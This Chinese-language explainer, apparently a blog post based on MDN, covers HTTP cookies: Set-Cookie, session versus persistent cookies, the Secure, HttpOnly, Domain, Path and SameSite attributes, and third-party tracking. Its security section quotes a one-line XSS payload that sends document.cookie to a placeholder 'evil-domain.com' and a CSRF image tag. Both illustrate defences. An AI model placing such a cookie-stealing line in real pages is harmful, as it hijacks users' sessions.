关于cookie

HTTP Cookie(也叫Web Cookie或浏览器Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。

Cookie的意义:Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

主要应用

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

服务器使用 Set-Cookie 响应头部向用户代理(一般是浏览器)发送 Cookie 信息

1
Set-Cookie: <cookie名>=<cookie值>

会话期Cookie

浏览器关闭之后它会被自动删除,仅在会话期内有效。
会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。

注意
有些浏览器提供了会话恢复功能,这种情况下即使关闭了浏览器,会话期Cookie也会被保留下来,就好像浏览器从来没有关闭一样。

持久性Cookie

持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure:标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端
(从 Chrome 52 和 Firefox 52 开始,不安全的站点(http:)无法使用Cookie的 Secure 标记)

HttpOnly: JavaScript的 Document.cookie API无法访问带有 HttpOnly 标记的Cookie

Domain: 标识指定了哪些主机可以接受Cookie。如果不指定,默认为当前文档的主机(不包含子域名)

Path:标识指定了主机下的哪些路径可以接受Cookie

SameSite Cookies

SameSite Cookie允许服务器要求某个 cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。

1
Set-Cookie: key=value; SameSite=Strict

SameSite可以有下面三种值:

  • None: 浏览器会在同站请求、跨站请求下继续发送cookies,不区分大小写
  • Strict:浏览器将只在访问相同站点时发送cookie。(在原有Cookies的限制条件上的加强,如上文『Cookie的作用域』 所述)
  • Lax:在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者frames的调用,但只有当用户从外部站点导航到URL时才会发送。如link链接

通过 Document.cookie 属性可创建新的 Cookie,也可通过该属性访问非 HttpOnly 标记的 Cookie。

安全

会话劫持和 XSS

1
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 类型的 Cookie 由于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造 CSRF

1
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。

追踪和隐私

第三方Cookie

每个Cookie都会有与之关联的域(Domain),如果Cookie的域和页面的域相同,那么我们称这个Cookie为第一方Cookie(first-party cookie),如果Cookie的域和页面的域不同,则称之为第三方Cookie(third-party cookie.)。

随着现代浏览器开始支持各种各样的存储方式,Cookie 渐渐被淘汰。由于服务器指定 Cookie 后,浏览器的每次请求都会携带 Cookie 数据,会带来额外的性能开销(尤其是在移动环境下)。新的浏览器 API 已经允许开发者直接将数据存储到本地,如使用 Web storage API (本地存储和会话存储)或 IndexedDB。

Safari 自 13.1 版本起默认禁用第三方cookie
Full Third-Party Cookie Blocking and More | WebKit

相关资料

HTTP cookies - HTTP | MDN
Document.cookie - Web API 接口参考 | MDN